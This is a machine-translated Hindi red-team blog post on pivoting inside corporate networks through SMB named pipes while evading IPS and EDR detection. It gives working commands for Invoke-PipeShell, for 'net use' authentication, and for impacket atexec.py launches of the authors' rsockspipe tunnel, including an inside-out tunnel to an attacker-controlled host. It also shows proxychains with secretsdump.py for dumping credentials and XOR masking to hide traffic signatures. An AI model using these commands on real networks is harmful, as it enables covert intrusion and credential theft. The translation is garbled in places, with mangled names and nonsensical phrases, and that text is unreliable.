धुरी के लिए पाइप का उपयोग करना

यह कोई रहस्य नहीं है कि कॉर्पोरेट आईपीएस और अधिक स्मार्ट और स्मार्ट होता जा रहा है। अब आप नेटवर्क की परिधि पर या सेगमेंट के बीच कॉर्पोरेट नेटवर्क के अंदर भी SSL-mitm के साथ IPS के साथ किसी को आश्चर्यचकित नहीं करेंगे। इसी समय, प्रसिद्ध आईपीएस के अलावा, विभिन्न ईडीआर-समाधान दिखाई देने लगे और फैलने लगे, जो पहले से ही सीधे तौर पर स्थापित कनेक्शन देखने वाले मेजबानों पर हैं। इस संबंध में, एक अच्छा RedTeam विशेषज्ञ हर दिन सर्वव्यापी ब्लूटेम लुक से छिपाने के लिए कठिन और कठिन हो रहा है। हमें अपनी मेहनत में अधिक आविष्कारशील बनना होगा।

कॉर्पोरेट नेटवर्क के अंदर हमारे "अधिक उपयोगी विनाशकारी कार्यों" (सी) को छिपाने के लिए समाधान में से एक एसएमबी या आरडीपी प्रोटोकॉल का उपयोग करना हो सकता है। आप उनके अंदर छिप सकते हैं और खुद को वैध यातायात के रूप में प्रच्छन्न कर सकते हैं। यह विशेष रूप से नया नहीं है और एसएमबी के अंदर मास्किंग तकनीक का उपयोग प्रसिद्ध एपीटी कंपनियों ड्यूक और सौरॉन के समय से किया गया है। वहाँ, लोगों ने भी बड़ी सफलता के साथ अपने एजेंटों को नियंत्रण आदेश स्थानांतरित करने के लिए एसएमबी प्रोटोकॉल का उपयोग किया। इसके बाद, Metasploit और कोबाल्ट स्ट्राइक के डेवलपर्स द्वारा तकनीक को अपनाया गया था।

इस लेख में, हम धुरी के लिए एसएमबी प्रोटोकॉल का उपयोग करने के विकल्पों पर विचार करेंगे, लेकिन हम आरडीपी को बाद के लिए छोड़ देंगे।

हम SMB का उपयोग करते हैं

तो, चलो देखते हैं कि धुरी के लिए एसएमबी का उपयोग करने के बारे में क्या बहुत अच्छा है।

सबसे पहले, यह व्यापक है। SMB लगभग मूल Microsoft प्रोटोकॉल है, और कॉर्पोरेट नेटवर्क में खिड़कियों के साथ इसका उपयोग हर जगह और बहुत से कहाँ किया जाता है। यहां आप और डीएफएस, और विभिन्न अपडेट, और प्रिंटर और बहुत कुछ, बहुत कुछ। बहुत सहज है।

सच है, कॉर्पोरेट नेटवर्क के बाहर, और यहां तक ​​कि बाहर से भी अधिक, 445 वें टीसीपी पोर्ट के अंदर, वे अब अक्सर फ़ायरवॉल को बंद करना शुरू कर देते हैं। इसका कारण फ़ाइल के लिंक का उपयोग करके फ़िशिंग और रिलेयिंग के लगातार मामले हैं: // xxxx, \\ xxxx \ _, आदि। और हां, चलो WannaCry के बारे में नहीं भूलना चाहिए, जिसने कई संगठनों को बाहर चिपके हुए बंदरगाह को बंद करने के लिए मजबूर किया।

दूसरे, आधुनिक प्रणालियों में, जैसे कि Win10 / Win2016 और उच्चतर, SMB प्रोटोकॉल के अंदर प्रेषित जानकारी, अधिक सटीक रूप से, SMB3 पहले से ही डिफ़ॉल्ट रूप से एन्क्रिप्टेड है। यानी एसएमबी के अंदर अपने पसंदीदा विभाजन को स्थानांतरित करना, आप सुरक्षित रूप से सुनिश्चित कर सकते हैं कि कॉर्पोरेट आईपीएस इसे नोटिस नहीं करेंगे (इसके लिए धन्यवाद माइक्रोसेफ्ट!)।

तीसरा, SMB प्रोटोकॉल तथाकथित पाइप (SMB पाइप) के लिए एक सुविधाजनक तंत्र प्रदान करता है - ये वास्तव में समान नामित पाइप हैं, केवल नेटवर्क पर उपलब्ध हैं। उदाहरण के लिए, \\ 192.168.1.10 \ पाइप \ atsvc जैसी एक लाइन एक अनुसूचित कार्य सेवा पाइप है। खिड़कियों में कमांड निष्पादित करने के लिए कार्य बनाने के लिए इंपेकेट फ्रेमवर्क से एटेस्टेक इसके साथ काम करता है।

आप अपने सिस्टम पर Sysinternals: pipelist.exe (pipelist64.exe) या समान शक्तियों के माध्यम से उपयोगिता का उपयोग करके सभी खुले पाइप देख सकते हैं:

[System.IO.Directory]::GetFiles("\\.\\pipe\\") 

विसर्जन

तो, आइए देखें कि हम अपने "अधिक उपयोगी विनाशकारी कार्यों" के लिए एसएमबी पाइप का उपयोग कैसे कर सकते हैं।

हम अपनी टीम शेल के साथ गुप्त संचार के लिए पाइप का उपयोग करना चाहते हैं।
लब्बोलुआब यह है कि हम अपने एजेंट या शेल को लक्ष्य मशीन पर चलाते हैं, और हम एसएमबी प्रोटोकॉल के माध्यम से इसके साथ संवाद करते हैं।

उदाहरण के लिए, मेटासप्लिट में पाइप के साथ काम करने के लिए विशेष पेलोड हैं:
meterpreter_bind_named_pipe
bind_named_pipe

उनकी मदद से, आप एक नामित पाइप पर आसानी से अपने श्रोता (चाहे वह मीटरप्रेटर हो या एक साधारण कमांड शेल) को "लटका" सकते हैं, जिससे सुरक्षा प्रशासक की सतर्क आँखों से इसे छिपा सकते हैं। लेकिन, निश्चित रूप से, हम सभी अच्छी तरह से जानते हैं कि मुकाबला करने के लिए msf peylods का उपयोग करना पूरी तरह से असुरक्षित है / redtime और असली लेबर हैकर्स कस्टम टूल का उपयोग करते हैं, जैसा कि वे कहते हैं - पाप से दूर ...

एक कमांड शेल के रूप में msf का एक विकल्प हमारा अच्छा पुराना सहायक हो सकता है - शक्तियां। सी 2 के साथ संचार के लिए एक चैनल के रूप में पाइप का उपयोग करने के बारे में नेटवर्क पर कई उदाहरण हैं।

उनमें से एक Threatexpress टीम से इनवोक-पाइपशेल उपयोगिता है। यह सर्वर-क्लाइंट मोड में काम करता है और 256-बिट एईएस कुंजी के साथ अपने सभी ट्रैफ़िक को एन्क्रिप्ट करता है।

सर्वर पर हम चलते हैं:

 Invoke-PipeShell -mode server -aeskey aaaabbbbccccdddd -pipe eventlog_svc -commandtimeout 30 

क्लाइंट पर, चलाएँ:

 Invoke-PipeShell -mode client -server targetserver.domain.com -aeskey aaaabbbbccccdddd -pipe eventlog_svc -i -timeout 1000 

स्वाभाविक रूप से, हमारे क्लाइंट को सर्वर पर अधिकृत होना चाहिए, इसलिए पहले अधिकृत करना न भूलें:

 net use \\targetserver.domain.com\IPC$ /user:admin Password1 

एक सफल कनेक्शन के बाद, हमें एक पूर्ण पॉवर्सशेल कंसोल मिलता है। इस उपकरण के साथ काम करने पर सभी विवरण, साथ ही साथ कोड को भी चमकाया जा सकता है।

सब ठीक है। यह समझ में आता है। अब हम इस बारे में सोचते हैं कि हम एसएमबी पाइप के माध्यम से लक्ष्य नेटवर्क के अंदर कैसे पिवट कर सकते हैं। उदाहरण के लिए, यदि नेटवर्क परिधि पर केवल 445 वां पोर्ट खुला है (और ऐसा होता है ...) या एसएसएल के माध्यम से हमारी सुरंग के बाहर कनेक्शन को निर्दयतापूर्वक कॉर्पोरेट फ़ायरवॉल द्वारा अवरुद्ध किया जाता है, लेकिन किसी कारण से वे एसएमबी प्रोटोकॉल को बंद करना भूल गए। इस मामले में, हमें पाइप के अंदर एक पूर्ण टीसीपी सुरंग को आगे बढ़ाने की आवश्यकता है ताकि हम लक्ष्य नेटवर्क के आंतरिक संसाधनों के साथ काम कर सकें। पहली बात जो दिमाग में आती है, वह वही है जो पाइप के माध्यम से मंचन के साथ होती है। वह जानता है कि इसे पूरी तरह से कैसे करना है। हम यहां विवरणों पर विचार नहीं करेंगे, क्योंकि यहां सब कुछ मानक है और मैनुअल के अनुसार। रुचि रखने वाले मेटासैप्लोइट के लिए निर्देश पढ़ सकते हैं, या यहां लघु संस्करण देख सकते हैं ।

हमने पहले ही ऊपर मीटरप्रेटर के नुकसान का उल्लेख किया है। इसलिए, आइए देखें कि पाइप के माध्यम से धुरी के लिए हमारे पास और क्या है ...

मीटरपर के अलावा, पाइप के माध्यम से सुरंग बनाने के विषय पर एक त्वरित गुग्लिंग के बाद, केवल कोबाल्ट स्ट्राइक और DxFlatLine से विकास पाया गया ।

पहला विकल्प, सबसे पहले, भुगतान किया जाता है, और दूसरा - इसमें मीटरप्रेटर के समान सभी नुकसान हैं।

दूसरा विकल्प पीओसी के रूप में बनाया गया है, यह केवल एकल-थ्रेडेड मोड में काम करता है और आपको केवल एक कनेक्शन को सुरंग करने की अनुमति देता है - अर्थात, जैसा कि आप अनुमान लगा सकते हैं, यह अभ्यास में निरंतर उपयोग के लिए भी एक विकल्प नहीं है।

और क्या करना है?

समस्या के बारे में थोड़ा सोचने के बाद, हमने फैसला किया ... हम अपने पिछले रस्कोस्टुन विकास को क्यों नहीं अपनाते हैं, जिसके बारे में हमने पहले ही लिखा था , पाइप के साथ काम करने के लिए? इसके अलावा, एप्लिकेशन आर्किटेक्चर आपको आसानी से ऐसा करने की अनुमति देता है। टीसीपी के माध्यम से कनेक्ट करने के बजाय, हम एसएमबी के माध्यम से एक कनेक्शन का उपयोग करेंगे। यह उपयोगिता के काम को भी सरल करता है: एसएसएल के बारे में चिंता करने की कोई आवश्यकता नहीं है, प्रॉक्सी सर्वर के माध्यम से कनेक्शन, आदि। हम केवल एक पासवर्ड के साथ सर्वर पर प्रारंभिक ग्राहक प्राधिकरण के साथ विकल्प छोड़ देंगे, क्योंकि पाइप एक सार्वजनिक इकाई है, और, तदनुसार, न केवल हमारी सुरंग, बल्कि दूरस्थ रूप से सहित अन्य सॉफ़्टवेयर, उन्हें पढ़ और लिख सकते हैं।

पाइपों तक पहुंच अधिकार, साथ ही एक दूरस्थ मशीन पर पाइपों की स्कैनिंग और गणना, चर्चा के लिए एक अलग विषय है। जो लोग चाहते हैं वह स्कैनर / smb / pip_auditor और स्कैनर / smb / पाइप_rpc_auditor मॉड्यूल के मेटास्प्लोइट के उदाहरण का उपयोग करके इसका अध्ययन कर सकते हैं।

गो से पाइप के साथ काम करने के लिए, हम एनपीपी लाइब्रेरी का उपयोग करेंगे

यह लंबे समय से बना हुआ है और विभिन्न परियोजनाओं में खुद को साबित कर चुका है। इस लाइब्रेरी के माध्यम से काम मानक नेट तंत्र के माध्यम से काम करने से मौलिक रूप से अलग नहीं है: समान कार्य नेट हैं। नेट, नेट। लिस्टेन, नेट। एसेप्ट।

एक पाइप के अंदर कई कनेक्शनों को मल्टीप्लेक्स करने के लिए, पिछली बार की तरह, हम एक प्रॉक्सी सर्वर - यमक्स मल्टीप्लेक्स और सॉक्स 5 का उपयोग करेंगे। आप rcckstun के बारे में हमारे पिछले लेख में टीसीपी और yamux के अंदर मल्टीप्लेक्सिंग की आवश्यकता के बारे में अधिक पढ़ सकते हैं।

एक और अंतर और पाइप के साथ संस्करण का शोधन, रस्कस्टुन के साथ तुलना में, यह है कि अब यमक्स-सर्वर और, तदनुसार, मोजे 5-प्रॉक्सी को सुरंग के दोनों सिरों पर लॉन्च किया जा सकता है (हालांकि एक साथ नहीं, लेकिन या तो वहां या वहां)। यह इसलिए किया जाता है ताकि सुरंग को बाहरी रूप से लक्ष्य नेटवर्क में बनाया जा सके, और इसके विपरीत ...

और अब, हमेशा की तरह - बारीकियों

चित्र 1 - विंडोज 7 पर टनल ऑपरेशन ट्रैफिक को डंप करें



चित्र 1 से पता चलता है कि हमारी सुरंग का काम कैसा दिखेगा यदि विंडोज 7 पर इसका कम से कम एक सिरा चल रहा हो। यहां, रेड ज़ोन प्राधिकरण चरण है, ग्रीन पाइप का उद्घाटन है, और नीला सूचना का सीधा प्रसारण है। इस तथ्य पर ध्यान देना भी आवश्यक है कि SMBv2 प्रोटोकॉल का उपयोग किया जाता है। वास्तव में, इसका मतलब है कि सुरंग के अंदर संचारित होने वाली हर चीज सादे पाठ में दिखाई देगी:



Win7 के विपरीत, Windows10 SMB3 प्रोटोकॉल के अंदर डेटा एन्क्रिप्शन का उपयोग करता है:



जैसा कि हम देखते हैं, न तो पाइप का नाम और न ही सुरंग के अंदर का डेटा स्पष्ट पाठ में प्रसारित होता है।

आप जाँच कर सकते हैं कि क्या एन्क्रिप्शन अपने SMB3 सिस्टम पर काम कर रहा है, जिसमें मानक पॉवरशेल्ड cmdlet Get-SmbServerCotfuration का उपयोग किया गया है



और एन्क्रिप्शन बंद होने के बाद, इसे सक्रिय करना उतना ही आसान है:



हालाँकि, हम हमेशा यह सुनिश्चित नहीं कर सकते कि SMB के अंदर एन्क्रिप्शन डिफ़ॉल्ट रूप से सक्षम हो जाएगा, और इसे विदेशी सर्वर या नेटवर्क पर चालू करना एक अच्छा विचार नहीं है ...

इस संबंध में, हमें अपनी सुरंग में एक मोड प्रदान करने की आवश्यकता है जो हमारी सुरंग के अंदर यातायात को एन्क्रिप्ट करने की अनुमति देगा। इसके अलावा, हमारे पास मज़बूती से एन्क्रिप्ट करने का कार्य नहीं है ताकि वे केवल NSA सुपर कंप्यूटर पर डिक्रिप्ट कर सकें, लेकिन बस IPS से सुरंग के अंदर ट्रैफ़िक हस्ताक्षर छिपाएं। इस संबंध में, हम अपने यातायात को मास्क करने के लिए एक छोटी सी कुंजी के साथ एक साधारण XOR का उपयोग करेंगे, जो हमें प्रोसेसर संसाधनों को बचाने की अनुमति देगा और व्यावहारिक रूप से संचरण की गति को प्रभावित नहीं करेगा।

ट्रैफ़िक एन्क्रिप्ट करने के लिए ज़िम्मेदार अतिरिक्त नेटवर्क लेयर न बनाने के लिए, हम सीधे पेलोड (स्ट्रीम.गो मॉड्यूल, और पढ़ें और लिखें कार्यों) को स्थानांतरित करने के लिए जिम्मेदार यमक्स मॉड्यूल में कार्यक्षमता जोड़ देंगे:

 func xoring(istr *[]byte, key string){ for i := 0; i < len(*istr); i++ {(*istr)[i] = (*istr)[i] ^ key[i % len(key)]} } 

परिवर्तन करने के बाद, हमारा GET अनुरोध यातायात में स्पष्ट रूप से दिखाई नहीं दे रहा है:

एक, दो, तीन ... शुरू करो!

कुल मिलाकर, लॉन्च के विकल्प और, तदनुसार, हमारी सुरंग का आवेदन निम्नानुसार होगा:

विकल्प 1. बाहर से नेटवर्क से कनेक्ट करें और Socks5 कनेक्शन को अग्रेषित करें। उदाहरण के लिए, जब 445 वां पोर्ट बाहर निकलता है और हम कनेक्ट करने के लिए ऋण जानते हैं:

आंतरिक सर्वर पर, एसएमबी कनेक्शन और इम्पैक्ट उपयोगिता के माध्यम से, रस्कोपाइप सर्वर भाग शुरू करें:

 ./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -listen .\rsockspipename -pass Password1234" 

बाहरी (हमारे द्वारा नियंत्रित) विंडोज-मशीन पर, रस्कस्पाइप के ग्राहक भाग को चलाएं और कनेक्शन स्थापित करने के बाद, इसे मोजे 5 प्रॉक्सी के रूप में उपयोग करें:

 rsockspipe.exe -connect xxxx\rsockspipename -socks yyyy:1080 -pass Pass-word1234 proxychains secretsdump.py admin:Passw0rd@yy1.10 

विकल्प 2. एसएमबी प्रोटोकॉल द्वारा अंदर से बाहर कनेक्शन। जब बाहरी कनेक्शनों पर सभी वेब प्रोटोकॉल द्वारा सख्ती से नजर रखी जाती है, और किसी कारण से प्रशासक एसएमबी के बारे में भूल जाते हैं ...

एक बाहरी (हमारे द्वारा नियंत्रित) विंडोज मशीन (आईपी: वाईवाईवाई) पर, रस्कस्पाइप के ग्राहक भाग को चलाएं और ग्राहकों को कनेक्ट करने के लिए प्रतीक्षा करें:

 rsockspipe.exe -listen .\rsockspipename -socks yyyy:1080 -pass Password1234 

लक्ष्य नेटवर्क के अंदर सर्वर पर, ग्राहक भाग (भी impacket के माध्यम से) चलाएँ:

 ./atexec.py administrator:adminPassw0rd@<ext server IP> "rsockspipe.exe -connect YYYY\rsockspipename -pass Password1234" 

एक सफल कनेक्शन के बाद, हम अपने सर्वर को soscks5 के रूप में उपयोग कर सकते हैं:

 proxychains secretsdump.py admin:Passw0rd@yy1.10 

यहां एक बिंदु है, विशेष रूप से दूसरे विकल्प के लिए। याद रखें, हमने कहा कि पाइप के सफल कनेक्शन के लिए हमें सर्वर साइड पर अधिकृत होना चाहिए, अर्थात। सुरंग शुरू करने से पहले, हमें प्राधिकरण से गुजरना होगा। आप इसे इस तरह से कर सकते हैं:

 net use \\yyyy\ipc$ /user:<usrname> <Password1> 

इसलिए ... दूसरे उपयोग के मामले में, लक्ष्य मशीन पर शुद्ध उपयोग कमांड चलाया जाता है। और इसका मतलब यह है कि लक्ष्य मशीन पर (lsass प्रक्रिया की स्मृति में) आपके विंडोज मशीन से क्रेडिट रहते हैं। और अगर वे व्यवस्थापक हैं (और एक नियम के रूप में, सभी नौसिखिए हैकर्स व्यवस्थापक से काम करते हैं ...), तो इससे ब्लूटेम से "बैक ग्रीटिंग" हो सकता है ... सामान्य तौर पर, आपको लगता है कि जब आप कुछ करते हैं ...

एक निष्कर्ष के बजाय

सामान्य तौर पर, सुरंग काफी अच्छी निकली ... मुख्य बात यह है कि यह सक्रिय उपयोग के लिए तैयार है।
स्रोत कोड, साथ ही x86 और x64 के लिए पहले से संकलित बायनेरिज़, हमारे गिट पर स्थित हैं

और एक छोटा सा जोड़। हाल ही में, उन्होंने नोटिस किया कि विन जीयूआई मोड में संकलित गोलांग सॉफ्टवेयर (मोड में संकलन: गो बिल्ड-लेडफ्लैग्स = "- एच विंडोज़सुई") कुछ एंटी-वायरस सॉल्यूशंस (केएवी, एसई 14) द्वारा बहुत निकाल दिया गया है। यह पहले से ही हास्यास्पद है - GUI मोड में संकलित "हैलो वर्ल्ड" एक मैलवेयर के रूप में पाया जाता है। जाहिरा तौर पर, यह इस तथ्य के कारण है कि गोलंग फिर भी मैलवेयर का एक पसंदीदा उपकरण बन गया है। तो हमारी सलाह मानक कंसोल मोड में परियोजना को संकलित करने के लिए है, और एक काले cmf- खिड़की के साथ एक वास्तविक हैकर जानता है कि इसे कैसे संभालना है (उदाहरण के लिए, एक ही impacket, उदाहरण के लिए)।

PS "अधिक उपयोगी विनाशकारी क्रियाएं" BiZone के निदेशक डी। समर्थसेव का शब्द है। इस मामले में, यह सबसे सटीक रूप से RedTeam विशेषज्ञों के काम का वर्णन करता है।